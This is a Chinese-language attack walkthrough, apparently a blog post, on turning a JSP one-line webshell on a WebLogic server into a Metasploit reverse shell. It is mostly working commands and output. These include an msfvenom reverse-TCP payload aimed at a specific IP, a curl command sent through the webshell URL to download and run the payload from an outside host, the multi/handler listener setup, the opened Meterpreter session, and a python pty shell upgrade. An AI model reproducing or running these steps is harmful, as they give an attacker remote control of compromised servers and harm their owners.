前提:现在情况是已经上传了一句话木马,可以执行命令如:ls,pwd,whoami等;问题在于,不管用python、bash还是perl都反弹不了,偷不了懒,就上msf把。
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=pwd
/u01/oracle/user_projects/domains/base_domain
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=whoami
oracle
一句话木马反弹shell思路,权当抛砖引玉:)
msf生成shell文件
msfvenom先生成反弹shell文件,赋权。
root@iZj6cgn7odv59wmjjhe6zwZ:~# msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=47.52.233.92 LPORT=1234 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1046632 bytes
Final size of elf file: 1046632 bytes
root@iZj6cgn7odv59wmjjhe6zwZ:~# chmod 777 shell.elf
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=ls
测试一下一句话木马,是可以执行命令的:
total 1100
drwxr-x--- 15 oracle oracle 4096 Apr 27 08:06 .
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 ..
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 autodeploy
drwxr-x--- 6 oracle oracle 4096 Apr 25 00:23 bin
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 common
drwxr-x--- 9 oracle oracle 4096 Apr 25 00:24 config
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 console-ext
-rw-r----- 1 oracle oracle 234 Apr 25 00:23 derby.log
-rw-r----- 1 oracle oracle 257 Apr 25 00:24 edit.lok
-rw-r----- 1 oracle oracle 327 Jul 19 2017 fileRealm.properties
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 init-info
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 lib
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 nodemanager
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 orchestration
drwxr-x--- 2 oracle oracle 4096 Apr 26 01:39 original
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 security
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 servers
-rwxr-x--- 1 oracle oracle 261 Apr 25 00:23 startWebLogic.sh
drwxr-x--- 3 oracle oracle 4096 Apr 25 09:49 tmp
下载shell文件执行
在一句话木马上执行下载命令,Wget和Curl都可以,一般linux机器上都自带下载工具:
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=curl -o shell.elf http://ip/shell.elf
等待下载完毕;继续赋权
chmod 777 shell.elf
在查看一下:
total 1100
drwxr-x--- 15 oracle oracle 4096 Apr 27 08:06 .
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 ..
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 autodeploy
drwxr-x--- 6 oracle oracle 4096 Apr 25 00:23 bin
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 common
drwxr-x--- 9 oracle oracle 4096 Apr 25 00:24 config
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 console-ext
-rw-r----- 1 oracle oracle 234 Apr 25 00:23 derby.log
-rw-r----- 1 oracle oracle 257 Apr 25 00:24 edit.lok
-rw-r----- 1 oracle oracle 327 Jul 19 2017 fileRealm.properties
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 init-info
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 lib
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 nodemanager
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 orchestration
drwxr-x--- 2 oracle oracle 4096 Apr 26 01:39 original
drwxr-x--- 2 oracle oracle 4096 Apr 25 00:23 security
drwxr-x--- 3 oracle oracle 4096 Apr 25 00:23 servers
-rwxrwxrwx 1 oracle oracle 1046632 Apr 27 08:06 shell.elf
-rwxr-x--- 1 oracle oracle 261 Apr 25 00:23 startWebLogic.sh
drwxr-x--- 3 oracle oracle 4096 Apr 25 09:49 tmp
这里要注意的如果文件下载完毕执行文件无法返回流量则需要查看文件下载是否需要下载完成或者存在其他情况。
- 1、下载失败;
一般来说使用curl或wget的output参数下载出来如果下载失败,我们需要查看下载的指定文件,如output参数指定download.file:
curl -o /tmp/download.file http://ip/shell.elf
直接查看download.file
cat download.file
一般如果是下载失败会提示解析失败或者其他。
- 2、路径系统无法找到;
下载命令指定绝对路径即可。
shell流量接入
我们发现已经成功下载了反弹shell的msf文件,直接执行
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=./shell.elf,执行前别忘了在服务器上监听端口。
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:1234
执行完就可以看到建立连接的流量接入了:
[*] Meterpreter session 1 opened (172.31.116.237:1234 -> 59.110.152.168:44832) at 2020-04-27 16:08:48 +0800
下一步:
meterpreter > shell
Process 460 created.
Channel 1 created.
whoami
oracle
python -c 'import pty;pty.spawn("/bin/sh")'
sh-4.2$ whoami
whoami
oracle
sh-4.2$ sudo su
sudo su
sh: sudo: command not found
python -c 'import pty;pty.spawn("/bin/bash")'
[oracle@5c6fe690ac22 base_domain]$ pwd
pwd
/u01/oracle/user_projects/domains/base_domain
[oracle@5c6fe690ac22 base_domain]$ ls
ls
autodeploy console-ext init-info original startWebLogic.sh
bin derby.log lib security tmp
common edit.lok nodemanager servers
config fileRealm.properties orchestration shell.elf
[oracle@5c6fe690ac22 base_domain]$ uname -a
uname -a
Linux 5c6fe690ac22 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
总结
如上为一句话木马的反弹shell的思路,当然也包括python、bash、powershell等文件,当然具体的机器环境需要具体来指定,各位师傅见笑。
以上。